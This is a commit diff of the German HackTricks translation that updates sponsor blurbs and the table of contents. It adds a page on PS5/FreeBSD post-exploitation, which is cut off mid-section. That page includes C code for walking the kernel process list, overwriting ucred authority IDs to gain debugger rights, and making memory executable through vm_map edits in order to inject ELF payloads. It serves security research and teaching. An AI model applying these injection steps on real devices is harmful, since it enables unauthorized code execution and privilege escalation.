Translated ['src/generic-methodologies-and-resources/phishing-methodolog

2025-10-10 18:36:50 +00:00 · 2025-09-30 22:40:00 +00:00 · 2025-09-30 22:40:00 +00:00 · 0b467d2ebc
commit 0b467d2ebc
parent 28dd893956
20 changed files with 2099 additions and 899 deletions
--- a/searchindex.js
+++ b/searchindex.js
--- a/src/README.md
+++ b/src/README.md
@ -2,7 +2,7 @@

 <figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>

-_Hacktricks-Logos & Motion Design von_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
+_Hacktricks-Logos & Motion-Design von_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._

 ### HackTricks lokal ausführen
 ```bash
@ -31,19 +31,19 @@ export LANG="master" # Leave master for english
 # Run the docker container indicating the path to the hacktricks folder
 docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
 ```
-Ihre lokale Kopie von HackTricks wird **unter [http://localhost:3337](http://localhost:3337)** nach <5 Minuten verfügbar sein (es muss das Buch erstellt werden, haben Sie Geduld).
+Ihre lokale Kopie von HackTricks wird nach weniger als 5 Minuten unter **[http://localhost:3337](http://localhost:3337)** verfügbar sein (das Buch muss gebaut werden, bitte haben Sie Geduld).

-## Unternehmenssponsoren
+## Corporate Sponsors

 ### [STM Cyber](https://www.stmcyber.com)

 <figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>

-[**STM Cyber**](https://www.stmcyber.com) ist ein großartiges Cybersecurity-Unternehmen, dessen Slogan **HACK THE UNHACKABLE** lautet. Sie führen eigene Recherchen durch und entwickeln eigene Hacking-Tools, um **verschiedene wertvolle Cybersecurity-Dienste** wie Pentesting, Red Teams und Schulungen anzubieten.
+[**STM Cyber**](https://www.stmcyber.com) ist ein großartiges Cybersecurity-Unternehmen, dessen Slogan **HACK THE UNHACKABLE** ist. Sie führen eigene Forschung durch und entwickeln eigene Hacking-Tools, um **mehrere wertvolle Cybersecurity-Dienstleistungen anzubieten**, wie pentesting, Red teams und Schulungen.

-Sie können ihren **Blog** unter [**https://blog.stmcyber.com**](https://blog.stmcyber.com) einsehen.
+Sie können ihren **Blog** unter [**https://blog.stmcyber.com**](https://blog.stmcyber.com) ansehen.

-**STM Cyber** unterstützt auch Open-Source-Projekte im Bereich Cybersecurity wie HackTricks :)
+**STM Cyber** unterstützt außerdem Open-Source-Cybersecurity-Projekte wie HackTricks :)

 ---

@ -51,7 +51,7 @@ Sie können ihren **Blog** unter [**https://blog.stmcyber.com**](https://blog.st

 <figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>

-[**RootedCON**](https://www.rootedcon.com) ist die relevanteste Cybersecurity-Veranstaltung in **Spanien** und eine der wichtigsten in **Europa**. Mit **der Mission, technisches Wissen zu fördern**, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersecurity-Profis in jeder Disziplin.
+[**RootedCON**](https://www.rootedcon.com) ist die bedeutendste Cybersecurity-Veranstaltung in **Spanien** und eine der wichtigsten in **Europa**. Mit **der Mission, technisches Wissen zu fördern**, ist dieser Kongress ein zentraler Treffpunkt für Technologie- und Cybersecurity-Profis aus allen Disziplinen.

 {{#ref}}
 https://www.rootedcon.com/
@ -63,9 +63,9 @@ https://www.rootedcon.com/

 <figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>

-**Intigriti** ist die **Nummer 1 in Europa** für ethisches Hacking und **Bug-Bounty-Plattform.**
+**Intigriti** ist Europas #1 für ethical hacking und **bug bounty platform.**

-**Bug-Bounty-Tipp**: **Melden Sie sich an** für **Intigriti**, eine Premium-**Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde**! Treten Sie uns heute bei [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) und beginnen Sie, Prämien von bis zu **100.000 $** zu verdienen!
+**Bug bounty tip**: **Registriere dich** für **Intigriti**, eine Premium-**bug bounty platform created by hackers, for hackers**! Trete uns heute unter [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) bei und beginne, Prämien bis zu **$100,000** zu verdienen!

 {{#ref}}
 https://go.intigriti.com/hacktricks
@ -78,9 +78,9 @@ https://go.intigriti.com/hacktricks
 <figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>

 \
-Verwenden Sie [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), um Workflows einfach zu erstellen und **zu automatisieren**, die von den **fortschrittlichsten** Community-Tools der Welt unterstützt werden.
+Nutze [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den weltweit **fortschrittlichsten** Community-Tools angetrieben werden.

-Zugang heute erhalten:
+Get Access Today:

 {{#ref}}
 https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
@ -92,23 +92,23 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr

 <figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>

-Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
+Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und bug bounty hunters zu kommunizieren!

- **Hacking-Einblicke:** Engagieren Sie sich mit Inhalten, die in die Aufregung und Herausforderungen des Hackens eintauchen
- **Echtzeit-Hack-Nachrichten:** Bleiben Sie auf dem Laufenden mit der schnelllebigen Welt des Hackens durch Echtzeit-Nachrichten und Einblicke
- **Neueste Ankündigungen:** Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
+- **Hacking Insights:** Beschäftige dich mit Inhalten, die den Nervenkitzel und die Herausforderungen des Hackens behandeln
+- **Real-Time Hack News:** Bleibe durch Echtzeit-Nachrichten und -Einblicke über die schnelllebige Hack-Welt auf dem Laufenden
+- **Latest Announcements:** Bleibe informiert über die neuesten bug bounties und wichtige Plattform-Updates

-**Treten Sie uns auf** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginnen Sie noch heute mit der Zusammenarbeit mit Top-Hackern!
+**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginne noch heute, mit Top-Hackern zusammenzuarbeiten!

 ---

-### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - Das essentielle Toolkit für Penetrationstests
+### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - The essential penetration testing toolkit

 <figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-**Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Netzwerke und Cloud**
+**Erhalte die Perspektive eines Hackers auf deine Web-Apps, dein Netzwerk und Cloud**

-**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftswert.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und nutzen Sie automatisierte Exploits, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
+**Finde und melde kritische, ausnutzbare Schwachstellen mit echtem Geschäftseinfluss.** Nutze unsere über 20 maßgeschneiderten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die dir erlauben, Privilegien zu escalate, und verwende automatisierte Exploits, um wichtige Beweise zu sammeln und deine Arbeit in überzeugende Berichte zu verwandeln.

 {{#ref}}
 https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@ -120,22 +120,22 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick

 <figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>

-**SerpApi** bietet schnelle und einfache Echtzeit-APIs, um **auf Suchmaschinenergebnisse** zuzugreifen. Sie scrapen Suchmaschinen, verwalten Proxys, lösen Captchas und parsen alle strukturierten Daten für Sie.
+**SerpApi** bietet schnelle und einfache Echtzeit-APIs, um **Suchmaschinenergebnisse zuzugreifen**. Sie scrapen Suchmaschinen, managen Proxys, lösen Captchas und parsen alle reichhaltigen strukturierten Daten für dich.

-Ein Abonnement eines der SerpApi-Pläne umfasst den Zugriff auf über 50 verschiedene APIs zum Scrapen verschiedener Suchmaschinen, einschließlich Google, Bing, Baidu, Yahoo, Yandex und mehr.\
-Im Gegensatz zu anderen Anbietern **scrapt SerpApi nicht nur organische Ergebnisse**. Die Antworten von SerpApi enthalten konsequent alle Anzeigen, Inline-Bilder und Videos, Wissensgraphen und andere Elemente und Funktionen, die in den Suchergebnissen vorhanden sind.
+Ein Abonnement eines SerpApi-Plans beinhaltet Zugriff auf über 50 verschiedene APIs zum Scrapen unterschiedlicher Suchmaschinen, darunter Google, Bing, Baidu, Yahoo, Yandex und mehr.\
+Im Unterschied zu anderen Anbietern **scrapt SerpApi nicht nur organische Ergebnisse**. SerpApi-Antworten enthalten konsistent alle Anzeigen, Inline-Bilder und -Videos, Knowledge Graphs und andere Elemente und Features, die in den Suchergebnissen vorhanden sind.

 Aktuelle SerpApi-Kunden sind **Apple, Shopify und GrubHub**.\
-Für weitere Informationen besuchen Sie ihren [**Blog**](https://serpapi.com/blog/)**,** oder probieren Sie ein Beispiel in ihrem [**Playground**](https://serpapi.com/playground)**.**\
-Sie können **hier ein kostenloses Konto erstellen** [**hier**](https://serpapi.com/users/sign_up)**.**
+Für mehr Informationen schau dir ihren [**Blog**](https://serpapi.com/blog/)**,** oder probiere ein Beispiel in ihrem [**playground**](https://serpapi.com/playground)**.**\
+Du kannst **hier** ein kostenloses Konto erstellen: [**https://serpapi.com/users/sign_up**](https://serpapi.com/users/sign_up)**.**

 ---

-### [8kSec Academy – Detaillierte Mobile Security Kurse](https://academy.8ksec.io/)
+### [8kSec Academy – In-Depth Mobile Security Courses](https://academy.8ksec.io/)

 <figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>

-Lernen Sie die Technologien und Fähigkeiten, die erforderlich sind, um Schwachstellenforschung, Penetrationstests und Reverse Engineering durchzuführen, um mobile Anwendungen und Geräte zu schützen. **Meistern Sie die Sicherheit von iOS und Android** durch unsere On-Demand-Kurse und **lassen Sie sich zertifizieren**:
+Lerne die Technologien und Fähigkeiten, die erforderlich sind, um Vulnerability Research, penetration testing und Reverse Engineering durchzuführen, um mobile Anwendungen und Geräte zu schützen. **Meistere iOS- und Android-Sicherheit** durch unsere On-Demand-Kurse und **erhalte Zertifizierungen**:

 {{#ref}}
 https://academy.8ksec.io/
@ -147,13 +147,13 @@ https://academy.8ksec.io/

 <figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>

-[**WebSec**](https://websec.net) ist ein professionelles Cybersecurity-Unternehmen mit Sitz in **Amsterdam**, das **Unternehmen auf der ganzen Welt** dabei hilft, sich gegen die neuesten Cybersecurity-Bedrohungen zu schützen, indem es **offensive Sicherheitsdienste** mit einem **modernen** Ansatz anbietet.
+[**WebSec**](https://websec.net) ist ein professionelles Cybersecurity-Unternehmen mit Sitz in **Amsterdam**, das Unternehmen **weltweit** dabei hilft, sich gegen die neuesten Cybersecurity-Bedrohungen zu schützen, indem es **Offensive-Security-Dienstleistungen** mit einem **modernen** Ansatz anbietet.

-WebSec ist ein internationales Sicherheitsunternehmen mit Büros in Amsterdam und Wyoming. Sie bieten **All-in-One-Sicherheitsdienste** an, was bedeutet, dass sie alles abdecken; Pentesting, **Sicherheits**-Audits, Awareness-Trainings, Phishing-Kampagnen, Code-Überprüfungen, Exploit-Entwicklung, Outsourcing von Sicherheitsexperten und vieles mehr.
+WebSec ist ein internationales Sicherheitsunternehmen mit Büros in Amsterdam und Wyoming. Sie bieten **All-in-One-Sicherheitsdienste** an, was bedeutet, dass sie alles abdecken; Pentesting, **Security** Audits, Awareness Trainings, Phishing-Kampagnen, Code Review, Exploit-Entwicklung, Security-Experten-Outsourcing und vieles mehr.

-Ein weiterer cooler Aspekt von WebSec ist, dass WebSec im Gegensatz zum Branchendurchschnitt **sehr zuversichtlich in ihre Fähigkeiten ist**, so sehr, dass sie **die besten Qualitätsresultate garantieren**, es steht auf ihrer Website: "**Wenn wir es nicht hacken können, zahlen Sie nicht!**". Für weitere Informationen werfen Sie einen Blick auf ihre [**Website**](https://websec.net/en/) und [**Blog**](https://websec.net/blog/)!
+Eine weitere coole Sache an WebSec ist, dass WebSec im Vergleich zum Branchendurchschnitt **sehr selbstsicher in ihren Fähigkeiten** ist, so sehr, dass sie **die besten Qualitätsresultate garantieren**, wie auf ihrer Website steht: "**If we can't hack it, You don't pay it!**". Für mehr Infos, schau dir ihre [**Website**](https://websec.net/en/) und ihren [**Blog**](https://websec.net/blog/) an!

-Zusätzlich zu den oben genannten ist WebSec auch ein **engagierter Unterstützer von HackTricks.**
+Zusätzlich ist WebSec auch ein **engagierter Unterstützer von HackTricks.**

 {{#ref}}
 https://www.youtube.com/watch?v=Zq2JycGDCPM
@ -165,10 +165,10 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM

 <figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>

-[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) ist eine Suchmaschine für Datenverletzungen (leak). \
-Wir bieten eine zufällige Zeichenfolgen-Suche (wie Google) über alle Arten von Datenlecks, groß und klein – nicht nur die großen – über Daten aus mehreren Quellen. \
-Menschen-Suche, KI-Suche, Organisationssuche, API (OpenAPI) Zugriff, dieHarvester-Integration, alle Funktionen, die ein Pentester benötigt.\
-**HackTricks bleibt eine großartige Lernplattform für uns alle und wir sind stolz darauf, sie zu sponsern!**
+[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) ist eine data breach (leak) search engine. \
+Wir bieten Random-String-Suche (wie Google) über alle Arten von data leaks, großen und kleinen -- nicht nur die großen -- über Daten aus mehreren Quellen. \
+People search, AI search, organization search, API (OpenAPI) access, theHarvester integration, alle Features, die ein pentester braucht.\
+**HackTricks continues to be a great learning platform for us all and we're proud to be sponsoring it!**

 {{#ref}}
 https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@ -180,16 +180,14 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons

 <figure><img src="images/cyberhelmets-logo.png" alt="cyberhelmets logo"><figcaption></figcaption></figure>

-**Für das Feld gebaut. Um Sie herum gebaut.**\
-[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) entwickelt und bietet effektive Cybersecurity-Schulungen an, die von
-Branchenexperten erstellt und geleitet werden. Ihre Programme gehen über die Theorie hinaus, um Teams mit tiefem
-Verständnis und umsetzbaren Fähigkeiten auszustatten, unter Verwendung von benutzerdefinierten Umgebungen, die reale
-Bedrohungen widerspiegeln. Für Anfragen zu maßgeschneiderten Schulungen kontaktieren Sie uns [**hier**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).

-**Was ihre Schulungen auszeichnet:**
-* Maßgeschneiderte Inhalte und Labore
-* Unterstützt von erstklassigen Tools und Plattformen
-* Entworfen und unterrichtet von Praktikern
+**Built for the field. Built around you.**\
+[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) entwickelt und liefert effektives Cybersecurity-Training, das von Branchenexperten erstellt und geleitet wird. Ihre Programme gehen über Theorie hinaus und vermitteln Teams tiefgehendes Verständnis und umsetzbare Fähigkeiten, unter Verwendung maßgeschneiderter Umgebungen, die reale Bedrohungen widerspiegeln. Für Anfragen zu maßgeschneidertem Training, kontaktiere uns [**hier**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
+
+**Was ihr Training auszeichnet:**
+* Maßgeschneiderte Inhalte und Labs
+* Unterstützt durch erstklassige Tools und Plattformen
+* Entworfen und gelehrt von Praktikern

 {{#ref}}
 https://cyberhelmets.com/courses/?ref=hacktricks
@ -201,13 +199,18 @@ https://cyberhelmets.com/courses/?ref=hacktricks

 <figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>

-Last Tower Solutions bietet spezialisierte Cybersecurity-Dienste für **Bildungs-** und **FinTech**-Institutionen an, mit einem Fokus auf **Penetrationstests, Cloud-Sicherheitsbewertungen** und **Compliance-Vorbereitung** (SOC 2, PCI-DSS, NIST). Unser Team umfasst **OSCP- und CISSP-zertifizierte Fachleute**, die tiefgehende technische Expertise und branchenspezifische Einblicke in jedes Engagement einbringen.
+Last Tower Solutions bietet spezialisierte Cybersecurity-Dienstleistungen für **Education** und **FinTech**
+Institutionen an, mit einem Fokus auf **penetration testing, cloud security assessments**, und
+**compliance readiness** (SOC 2, PCI-DSS, NIST). Unser Team umfasst **OSCP und CISSP
+zertifizierte Fachkräfte**, die tiefgehende technische Expertise und branchenübliche Einsichten in
+jede Zusammenarbeit einbringen.

-Wir gehen über automatisierte Scans hinaus mit **manuellen, intelligenzgesteuerten Tests**, die auf hochriskante Umgebungen zugeschnitten sind. Von der Sicherung von Schülerdaten bis zum Schutz finanzieller Transaktionen helfen wir Organisationen, das zu verteidigen, was am wichtigsten ist.
+Wir gehen über automatisierte Scans hinaus mit **manuellem, intelligence-driven Testing**, das auf
+hochbrisante Umgebungen zugeschnitten ist. Vom Schutz von Studentendaten bis zur Absicherung finanzieller Transaktionen helfen wir Organisationen, das zu verteidigen, was am wichtigsten ist.

-_„Eine qualitativ hochwertige Verteidigung erfordert das Wissen um den Angriff, wir bieten Sicherheit durch Verständnis.“_
+_„Eine qualitativ hochwertige Verteidigung erfordert das Wissen über den Angriff; wir bieten Sicherheit durch Verständnis.“_

-Bleiben Sie informiert und auf dem neuesten Stand in der Cybersecurity, indem Sie unseren [**Blog**](https://www.lasttowersolutions.com/blog) besuchen.
+Bleibe informiert und auf dem neuesten Stand der Cybersecurity, indem du ihren [**Blog**](https://www.lasttowersolutions.com/blog) besuchst.

 {{#ref}}
 https://www.lasttowersolutions.com/
@ -215,15 +218,30 @@ https://www.lasttowersolutions.com/

 ---

-## Lizenz & Haftungsausschluss
+### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)

-Überprüfen Sie sie in:
+<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
+
+K8Studio IDE befähigt DevOps, DevSecOps und Entwickler, Kubernetes-Cluster effizient zu verwalten, zu überwachen und abzusichern. Nutze unsere KI-gestützten Insights, modernes Sicherheitsframework und intuitive CloudMaps-GUI, um deine Cluster zu visualisieren, ihren Zustand zu verstehen und mit Zuversicht zu handeln.
+
+Zudem ist K8Studio **kompatibel mit allen wichtigen kubernetes distributions** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift und mehr).
+
+{{#ref}}
+https://k8studio.io/
+{{#endref}}
+
+
+---
+
+## License & Disclaimer
+
+Siehe dazu:

 {{#ref}}
 welcome/hacktricks-values-and-faq.md
 {{#endref}}

-## Github-Statistiken
+## Github Stats

 ![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)

--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@ -59,6 +59,7 @@
    - [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
    - [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
    - [Deofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
+    - [Discord Cache Forensics](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md)
    - [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
    - [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
    - [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
@ -82,6 +83,7 @@
  - [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
 - [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
 - [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
+  - [Mutation Testing With Slither](blockchain/smart-contract-security/mutation-testing-with-slither.md)
  - [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
 - [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)

@ -102,6 +104,7 @@

 # 🐧 Linux Hardening

+- [Linux Basics](linux-hardening/linux-basics.md)
 - [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
 - [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
  - [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
@ -570,6 +573,7 @@
 - [15672 - Pentesting RabbitMQ Management](network-services-pentesting/15672-pentesting-rabbitmq-management.md)
 - [24007,24008,24009,49152 - Pentesting GlusterFS](network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md)
 - [27017,27018 - Pentesting MongoDB](network-services-pentesting/27017-27018-mongodb.md)
+- [32100 Udp - Pentesting Pppp Cs2 P2p Cameras](network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md)
 - [44134 - Pentesting Tiller (Helm)](network-services-pentesting/44134-pentesting-tiller-helm.md)
 - [44818/UDP/TCP - Pentesting EthernetIP](network-services-pentesting/44818-ethernetip.md)
 - [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md)
@ -587,6 +591,7 @@
  - [BrowExt - ClickJacking](pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md)
  - [BrowExt - permissions & host_permissions](pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md)
  - [BrowExt - XSS Example](pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md)
+  - [Forced Extension Load Preferences Mac Forgery Windows](pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md)
 - [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
 - [Captcha Bypass](pentesting-web/captcha-bypass.md)
 - [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
@ -843,6 +848,7 @@
  - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
 - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
 - [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
+- [PS5 compromission](binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md)
 - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
 - [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
  - [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)
--- a/src/binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md
+++ b/src/binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md
@ -0,0 +1,183 @@
+# FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 Fallstudie)
+
+{{#include ../banners/hacktricks-training.md}}
+
+## Übersicht
+
+Diese Seite dokumentiert eine praktische Unix/BSD usermode process/ELF injection technique auf PlayStation 5 (PS5), die auf FreeBSD basiert. Die Methode generalisiert auf FreeBSD-Derivate, sobald kernel read/write (R/W) primitives vorhanden sind. Auf hoher Ebene:
+
+- Patchen der aktuellen Prozess-Credentials (ucred), um Debugger-Berechtigungen zu gewähren und ptrace/mdbg auf beliebigen Benutzerprozessen zu ermöglichen.
+- Zielprozesse finden durch Durchlaufen der kernel allproc-Liste.
+- Umgehen von PROT_EXEC-Einschränkungen durch Setzen von vm_map_entry.protection |= PROT_EXEC im Ziel-vm_map via Kernel-Daten-Schreibzugriffe.
+- Verwendung von ptrace zur Remote Function Invocation (RFI): einen Thread stoppen, Register so setzen, dass beliebige Funktionen im Ziel aufgerufen werden, fortsetzen, Rückgabewerte erfassen und Zustand wiederherstellen.
+- Mapping und Ausführen beliebiger ELF-Payloads im Ziel mit einem in-prozess ELF-Loader, dann einen dedizierten Thread starten, der die Payload ausführt und einen Breakpoint auslöst, um sauber zu detach-en.
+
+PS5-Hypervisor-Mitigations, die für diese Technik relevant sind:
+- XOM (execute-only .text) verhindert das Lesen/Schreiben von Kernel-.text.
+- Das Löschen von CR0.WP oder Deaktivieren von CR4.SMEP führt zu einem Hypervisor-vmexit (Crash). Nur daten-only Kernel-Schreibzugriffe sind praktikabel.
+- Userland mmap ist standardmäßig auf PROT_READ|PROT_WRITE beschränkt. PROT_EXEC muss durch Editieren von vm_map entries im Kernel-Speicher gewährt werden.
+
+Diese Technik ist Post-Exploitation: sie setzt kernel R/W primitives aus einer Exploit-Chain voraus. Öffentliche Payloads demonstrieren dies bis Firmware 10.01 zum Zeitpunkt der Erstellung.
+
+## Kernel data-only primitives
+
+### Prozess-Erkennung via allproc
+
+FreeBSD unterhält eine doppelt verkettete Liste von Prozessen in der Kernel-.data an allproc. Mit einem kernel read primitive iteriert man diese Liste, um Prozessnamen und PIDs zu ermitteln:
+```c
+struct proc* find_proc_by_name(const char* proc_name){
+uint64_t next = 0;
+kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
+struct proc* proc = malloc(sizeof(struct proc));
+do{
+kernel_copyout(next, (void*)proc, sizeof(struct proc));       // read entry
+if (!strcmp(proc->p_comm, proc_name)) return proc;
+kernel_copyout(next, &next, sizeof(uint64_t));                // advance next
+} while (next);
+free(proc);
+return NULL;
+}
+
+void list_all_proc_and_pid(){
+uint64_t next = 0;
+kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
+struct proc* proc = malloc(sizeof(struct proc));
+do{
+kernel_copyout(next, (void*)proc, sizeof(struct proc));
+printf("%s - %d\n", proc->p_comm, proc->pid);
+kernel_copyout(next, &next, sizeof(uint64_t));
+} while (next);
+free(proc);
+}
+```
+Hinweise:
+- KERNEL_ADDRESS_ALLPROC ist firmwareabhängig.
+- p_comm ist ein Name fester Größe; ziehe pid->proc-Suchen in Betracht, falls nötig.
+
+### Berechtigungen zum Debugging erhöhen (ucred)
+
+Auf der PS5 enthält struct ucred ein Authority ID-Feld, das über proc->p_ucred erreichbar ist. Das Schreiben der debugger authority ID gewährt ptrace/mdbg-Zugriff auf andere Prozesse:
+```c
+void set_ucred_to_debugger(){
+struct proc* proc = get_proc_by_pid(getpid());
+if (proc){
+uintptr_t authid = 0; // read current (optional)
+uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
+kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
+kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
+free(proc);
+}
+}
+```
+- Offset 0x58 ist spezifisch für die PS5-Firmware-Familie und muss für jede Version verifiziert werden.
+- Nach diesem Schreibvorgang kann der Injector Benutzerprozesse mittels ptrace/mdbg attachen und instrumentieren.
+
+## Umgehen von RW-only user mappings: vm_map PROT_EXEC flip
+
+Userland mmap kann auf PROT_READ|PROT_WRITE beschränkt sein. FreeBSD verwaltet den Adressraum eines Prozesses in einer vm_map aus vm_map_entry-Knoten (BST plus Liste). Jeder Eintrag enthält die Felder protection und max_protection:
+```c
+struct vm_map_entry {
+struct vm_map_entry *prev,*next,*left,*right;
+vm_offset_t start, end, avail_ssize;
+vm_size_t adj_free, max_free;
+union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
+vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
+int wired_count; vm_pindex_t lastr;
+};
+```
+Mit Kernel R/W können Sie die vm_map des Ziels lokalisieren und entry->protection |= PROT_EXEC setzen (und, falls nötig, entry->max_protection). Praktische Implementierungs-Hinweise:
+- Walk entries entweder linear via next oder unter Verwendung des balanced-tree (left/right) für O(log n)-Suche nach Adressbereichen.
+- Wählen Sie eine bekannte RW-Region, die Sie kontrollieren (scratch buffer oder mapped file) und fügen Sie PROT_EXEC hinzu, damit Sie Code oder Loader-Thunks bereitstellen können.
+- PS5 SDK code stellt Hilfsfunktionen für schnelles map-entry lookup und das Umschalten von Protections bereit.
+
+Dies umgeht userland’s mmap policy, indem kernel-eigene Metadaten direkt bearbeitet werden.
+
+## Remote Function Invocation (RFI) with ptrace
+
+FreeBSD lacks Windows-style VirtualAllocEx/CreateRemoteThread. Stattdessen bringen Sie das Ziel dazu, unter ptrace-Kontrolle Funktionen in sich selbst aufzurufen:
+
